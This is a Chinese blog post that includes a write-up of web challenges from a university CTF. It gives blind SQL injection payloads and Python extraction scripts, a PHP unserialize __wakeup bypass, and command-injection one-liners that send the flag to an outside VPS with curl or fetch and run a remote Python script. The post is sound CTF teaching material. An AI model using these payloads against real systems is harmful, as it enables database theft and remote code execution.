本校第七届ctf部分wirteup(swpu_ctf)及个人感想

0x00.前言
时间确实过得很快,从14年刚进大学的我参加了swpu第五届ctf到现在的第七届,一切都好像还在昨天。
现在还清楚记得14那年,当时学校特别重视那次比赛,作为团队大一的新成员,虽然不懂技术什么的,但是还是很积极的在跑腿,做宣传,给外校的参赛队员端茶送水,虽然有点累还是很开心的。
15年的第六届ctf我们变成了主力参赛队员,做着团队三个大牛出的题,在被虐的同时,也学到了许多姿势。
到了今年,也就是第七届了,我们的身份变成了不仅仅是做题人,也是出题人。在举办前我们大三的和大四的商量是否不再对外用网络联盟的团队名,而是希望给我们的08067团队增加一点知名度,对内我们依然是网络联盟,对外就变成了08067团队。08067这个名字也由我们以前的wooyun团队名第二次成为了我们团队对外的名字。

0x01.write_up
web200-1:
出题人强行过滤了一抹多,比如and.or.空格,逗号等等,但好在错误回显提示比较明显,很好测试。最简单的方法就是利用同表查询,通过逐个截取字符利用布尔盲注获取密码。mysql常用的截取的函数有mid,substring等,但是由于过滤了逗号,substring(xx,1,1)这种就用不了了,不过substring还有另外一种用法:

substring xx from 1

如果在加上ascii或者ord函数,就可以实现一位一位判断。过滤了空格可以用%0a替换,或者直接用()绕过空格,因为mysql可以利用()标记mysql中的值。lijiejie mysql注射技巧.最后构造exp如下:

uname='!=!!(ascii(mid((passwd)from(1)))>0)!=!!'1'='1&passwd=dddd

完整脚本如下:

#coding=utf-8        
import requests 
import re

password = ''
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36','Referer':'http://115.159.224.95:2534/index.php'}
playloads = list('abcdefghijklmnopqrstuvwxyz0123456789')
for b in range(1,33):
    for playload in playloads:
        data = {"uname": "'!=!!(ascii(mid((passwd)from(%s)))=ascii('%s'))!=!!'1'='1"%(b, playload),"passwd":"sssss"}
        # print data['uname']
        try:
            req = requests.post("http://web1.08067.me/login.php", data = data, headers = headers, timeout = 3)
            # print req.text
            res = re.search(r"alert\('(.*?)!!@_@'\)",req.text)
            if res.group(1) == 'username error':
                # print res.group(1)
                password += playload;
                print password
                break;
        except Exception,e:
            print e
print "password is:%s"% password

拿到管理员密码后,登录后台,会发现一个没有回显过滤了一些关键字的命令执行。没回显可以利用cloudeye的原理,curl访问vps,看日志或者nc监听指定端口得到回显,过滤了空格,可以用环境变量$IFS绕过,这些小trick就需要平时积累,最终构造exp:

curl$IFS\vps:1234/$(cat$IFS\../../flag)

还有一种有趣的trick,远程执行python脚本(利用bash_shell的变量拼接特性):

a=py;b=thon;curl${IFS}http://xxx/xxx.py|$($a$b)

web200-2:
这道题主要考察了前段时间爆出的php魔法函数__wakeup()漏洞的应用以及80sec_waf的绕过。__wakeup的漏洞前面我已经坐过分析,不再多说。直接讲思路吧。首先通过.bak备份文件拿到源码,分别为index.php.function.php以及commom.php.
index.php

if(isset($_COOKIE['user'])){  
    $login = @unserialize(base64_decode($_COOKIE['user']));  
    if(!empty($login->pass)){  
        $status = $login->check_login();  
        if($status == 1){  
            $_SESSION['login'] = 1;  
            var_dump("login by cookie!!!");  
        }  
    }  
} 

可以看到通过cookie传入user参数,被base64_decode和反序列化了一下,继续跟进,看到调用了check_login()方法,于是在function.php文件中找到login类:

class login{  
    var $uid = 0;  
    var $name='';  
    var $pass='';  
      
    //检查用户是否已登录  
    public function check_login(){  
        mysql_conn();  
        $sqls = "select * from phpinfoadmin where username='$this->name'";  
        $sqls = help::CheckSql($sqls);  
        $re = mysql_query($sqls);  
        $results = @mysql_fetch_array($re);  
        //echo $sqls . $results['passwd'];  
        mysql_close();  
        if (!empty($results))  
        {  
            if($results['passwd'] == $this->pass)  
            {  
                return 1;  
            }  
            else  
            {  
                return 0;  
            }  
        }  
        }  
    //预防cookie某些破坏导致登陆失败  
    public function __destruct(){  
        $this->check_login();  
    }  
    //反序列化时检查数据  
    public function __wakeup(){  
        $this->name = help::addslashes_deep($this->name);  
        $this->pass = help::addslashes_deep($this->pass);  
    }  
}  
?>  

可以看到__wakeup方法中转义是没办法绕过的,但是又要闭合单引号,所以很容易想到最近爆出的wakeup的bug,当传入属性错误的反序列化对象时,就会跳过__wakeup()的调用,那么单引号就会逃逸出来,接下来就是80sec_waf的绕过了,具体可以参看团队审计牛的分析,最终构造exp如下:

O:5:"login":5:{s:3:"uid";i:0;s:4:"name";s:96:"' or `'`.``.username and SLEEP(if((ord(substring((select flag from flag),1,1))=ord('1')),9,0))#";s:4:"pass";s:5:"12232";}

然后做成脚本:

#coding=utf-8
import requests
import base64
import time


playloads = list('!lf{}_@abcdeghijklmnopqrstuvwxyz0123456789QWWEWRTYUIOPASDFGHJKLZXCVBNM')
flag = ''
for a in range(1,10):
    for playload in playloads:
        data = "O:5:\"login\":5:{s:3:\"uid\";i:0;s:4:\"name\";s:95:\"' or `'`.``.username and SLEEP(if((ord(substring((select flag from flag),%s,1))=ord('%s')),9,0))#\";s:4:\"pass\";s:5:\"12232\";}"%(a, playload)
        cookies = {}
        cookies['user'] = base64.b64encode(data)
        try:
            req = requests.get("http://web3.08067.me/wakeup/index.php", cookies = cookies, timeout = 2)
        except:
            flag += playload
            print flag
            break
for a in range(10,40):
    for playload in playloads:
        data = "O:5:\"login\":5:{s:3:\"uid\";i:0;s:4:\"name\";s:96:\"' or `'`.``.username and SLEEP(if((ord(substring((select flag from flag),%s,1))=ord('%s')),9,0))#\";s:4:\"pass\";s:5:\"12232\";}"%(a, playload)
        cookies = {}
        cookies['user'] = base64.b64encode(data)
        try:
            req = requests.get("http://web3.08067.me/wakeup/index.php", cookies = cookies, timeout = 2)
        except:
            flag += playload
            print flag
            break    
    if flag.endswith('}'):
        break
print "flag is %s" % flag

开始我和出题人以为盲注一定要用到sleep或者benchmark这些,所以按着这种思路就必须得绕过80sec的waf,但是看到后来其他人分享的writeup时,发现还有一个新的trick。sleep是直接延时让数据库查询时间变长,而benchmark也是让数据库执行大量重复的操作使其查询时间变长,那么消耗数据库资源的也可以通过让两个大表做迪卡尔积,这样就可以让数据库的查询慢下来,系统表information_schema.columns数据量比较大,用这两个表在做的笛卡尔积的时候时间应该会比较长。那么这样就可以不用sleep这些函数完成延时盲注了。

可以看到当几个表的数据量达到一定数量时做笛卡尔积的时间会变长,达到延时的效果。参考连接:http://www.sqlinjection.net/heavy-query/

剩下的web的writeup由于篇幅原因,而且已在官方writeup中写得差不多了,就不多说了,直接搬连接吧官方writeup

0x02.结语
很高兴这次比赛能得到很多师傅的支持与认可。明年希望能举办更好玩更有意义的ctf。

发表评论

电子邮件地址不会被公开。 必填项已用*标注